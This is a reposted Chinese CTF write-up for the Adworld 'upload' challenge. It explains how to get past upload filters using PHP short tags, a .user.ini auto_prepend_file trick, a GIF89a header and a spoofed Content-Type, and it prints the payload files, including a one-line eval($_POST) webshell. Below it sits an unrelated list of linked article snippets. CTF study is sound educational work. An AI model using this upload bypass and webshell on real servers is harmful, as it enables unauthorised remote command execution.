攻防世界-web-ctf-upload

题目场景

查看源码

 毫无有效的数据

官方WriteUp

本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

检查文件内容是否有php字符串
 
检查后缀中是否有htaccess或ph
 
检查文件头部信息
 
文件MIME类型

对于第一点可以利用短标签绕过,例如<?=phpinfo();?>

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,可以参考以下文章

.user.ini文件构成的PHP后门 - phith0n

在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

第四点绕过方法即修改上传时的Content-Type

因此最终的payload为:
上传.user.ini,内容为

GIF89a                  
auto_prepend_file=a.jpg

上传a.jpg,内容为

GIF89a
<?=eval($_POST['cmd']);?>

BP抓包

上传.user.ini

 

再上传a.jpg

 

 

F12查看文件去向

 蚁剑连接

 

找到flag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/396925.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

haproxy七层代理

目录 一、haproxy简介 二、haproxy实验 1.环境部署 2.haproxy的基本部署方法及负载均衡的实现 2.1安装软件 2.2haproxy的基本配置 3.haproxy的全局配置参数及日志分离 3.1多线程设定 3.2自定义日志 4.haproxy-proxies中的常用配置参数 4.1设置backup --- sorryserver…

卷积神经网络(李宏毅老师系列)

自学参考&#xff1a; 一文搞懂卷积神经网络&#xff08;CNN&#xff09;的原理 视频课 课件资料 笔记 一、引入 cnn设计灵感来自于生物学中的视觉系统&#xff0c;旨在模拟人类视觉处理的方式。常用场景&#xff1a;image classification 基本步骤&#xff1a; 把所有图片都先…

数据结构--第六天

--树 -树的基本概念 树结构通常用来储存逻辑关系为“一对多”的数据&#xff0c;例如&#xff1a; 上图的这些元素具有的就是 "一对多" 的逻辑关系&#xff0c;例如元素A同时和B、C、D有关系&#xff0c;元素D同时和A、H、I、J有关系等。 观察这些元素之间的逻辑关…

模拟经营之神:《北境之地》安卓手机游戏,免费分享

《北境之地》&#xff08;Northgard&#xff09;是一款以北欧神话为背景的即时战略游戏&#xff0c;由Shiro Games开发。玩家在游戏中扮演维京部落的领袖&#xff0c;目标是探索新大陆、建立据点、管理资源&#xff0c;并在严酷的冬季和敌人的威胁下生存下来 。 游戏特色包括&a…

gin路由

1主文件 package main import ("github.com/gin-gonic/gin""godade/user""net/http" ) func main() {router : gin.Default()router.GET("/", func(c *gin.Context) {c.String(http.StatusOK, "Hello World")})v1 : router…

如何避免项目发布后用户从浏览器WebPack中看到源码

打包前在config->index.js中设置productionSourceMap为false productionSourceMap: false,

C# AI鉴图宝 利用OCR技术对违规图片进行判别

目录 效果 项目 代码 下载 效果 项目 代码 using Aspose.Cells; using NLog; using OpenCvSharp; using OpenVINO.OCRService; using Sdcb.OpenVINO; using Sdcb.OpenVINO.PaddleOCR; using Sdcb.OpenVINO.PaddleOCR.Models; using System; using System.Collections.Conc…

Jmeter性能压测4000并发

性能测试的底层逻辑 程序为什么会有性能问题 用户操作 客户端&#xff08;web/app/小程序&#xff09;触发网络请求&#xff0c;服务器处理大量网络请求代码运行需要大量服务器资源&#xff08;CPU、内存、网络、磁盘等等&#xff09; 资源不是无限&#xff0c;硬件配置不是随…

使用Python发送PDD直播间弹幕(协议算法分析)

文章目录 1. 写在前面2. 接口分析3. 算法还原 【&#x1f3e0;作者主页】&#xff1a;吴秋霖 【&#x1f4bc;作者介绍】&#xff1a;擅长爬虫与JS加密逆向分析&#xff01;Python领域优质创作者、CSDN博客专家、阿里云博客专家、华为云享专家。一路走来长期坚守并致力于Python…

日撸Java三百行(day19:字符串匹配)

目录 一、字符串的一些基础知识 二、代码实现 1.字符类的创建 2.字符类的遍历 3.字符串匹配 4.字符串截取 5.数据测试 6.完整的程序代码 总结 一、字符串的一些基础知识 字符串&#xff08;String&#xff09;是用一对双引号括起来的零个或多个字符组成的有限序列&am…

简单的docker学习 第13章 CI/CD与Jenkins(上)

第13章 CI/CD 与 Jenkins 13.1 平台登录页面 13.1.1 GitLab-8098-root 13.1.2 Jenkins-8080-zhangsan 13.1.3 SonarQube-9000-admin 13.1.4 harbor-80-admin 13.2 CI/CD 与 DevOps 13.2.1 CI/CD 简介 CI > Continuous Integration&#xff0c;持续集成。即将持续不断更新…

如何在linux系统上部署nginx

1&#xff09;首先去 nginx.org/download 官网下载你所需要的版本 我这里是下载的 nginx-1-23-3.tar.gz 2&#xff09;然后执行 yum -y install lrzsz 安装文件上传软件 执行 rz 选择你下载nginx的位置进行上传 yum -y install lrzsz 3&#xff09;执行 tar -zxvf nginx-1.23…

数据可视化(爬取豆瓣网站)

目录 1 绪论 1.1 研究背景 1.2 研究目的和意义 1.3 研究内容和方法 2. 需求分析 2.1 系统功能描述 2.2 数据采集与预处理 2.2.1 数据采集 2.2.2 数据清洗 2.2.3 数据处理 2.3 功能需求 2.3.1 登录模块 2.3.2 数据展示模块 3 系统设计 3.1 系统功能结构设计 3.2 …

Pycharm中重命名项目之后切换虚拟环境

Pycharm中重命名项目之后切换虚拟环境 场景 在Pycharm里面Rename Project/Directory之后&#xff0c;通常需要切换虚拟环境。 步骤 # 退出当前虚拟环境 deactivate # 删除旧的虚拟环境 .venv # 新建新的虚拟环境 python -m venv .venv # 切换到新的工程目录 cd E:\Bigdata\…

排序算法——插入排序

一、插入排序概念 直接插入排序&#xff08;Insertion Sort&#xff09;是一种简单的排序算法&#xff0c;它的工作原理类似于人们手动排序卡片的方式。该算法通过构建有序序列&#xff0c;对于未排序数据&#xff0c;在已排序序列中从后向前扫描&#xff0c;找到相应位置并插…

二叉树相关的算法题

二叉树相关的算法题 单值二叉树 如果二叉树每个节点都具有相同的值&#xff0c;那么该二叉树就是单值二叉树。 只有给定的树是单值二叉树时&#xff0c;才返回 true&#xff1b;否则返回 false。 示例 1&#xff1a; 输入&#xff1a;[1,1,1,1,1,null,1] 输出&#xff1a;t…

初阶数据结构5 排序

排序 1. 排序概念及运用1.1 概念1.2运用1.3 常见排序算法 2. 实现常⻅排序算法2.1 插⼊排序2.1.1 直接插⼊排序2.1.2 希尔排序2.1.2.1 希尔排序的时间复杂度计算 2.2 选择排序2.2.1 直接选择排序2.2.2 堆排序 2.3 交换排序2.3.1冒泡排序2.3.2 快速排序2.3.2.1 hoare版本2.3.2.2…

【云服务器系列】基于华为云OBS实现Picgo和Typora的完美融合

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

STM32-IIC协议详解

一、IIC简介 IC&#xff08;Inter-Integrated Circuit&#xff09;协议由飞利浦公司于1980年代开发&#xff0c;是一种用于集成电路间短距离通信的串行协议。它设计用于连接低速外围设备&#xff0c;特别适合于需要简单数据交换的场景。IC协议使用两根信号线&#xff1a;SCL&am…

Python数值计算(23)——modified akima插值

1. 数学原理 在前面的Akima插值中&#xff0c;计算斜率使用如下公式&#xff1a; 如果记&#xff1a; 在出现分母分子同时为零的情况时&#xff0c;会出现NaN的计算结果&#xff0c;Akima他自己也意识到这种问题&#xff0c;因此&#xff0c;在原来的算法上做了修订&#xff0…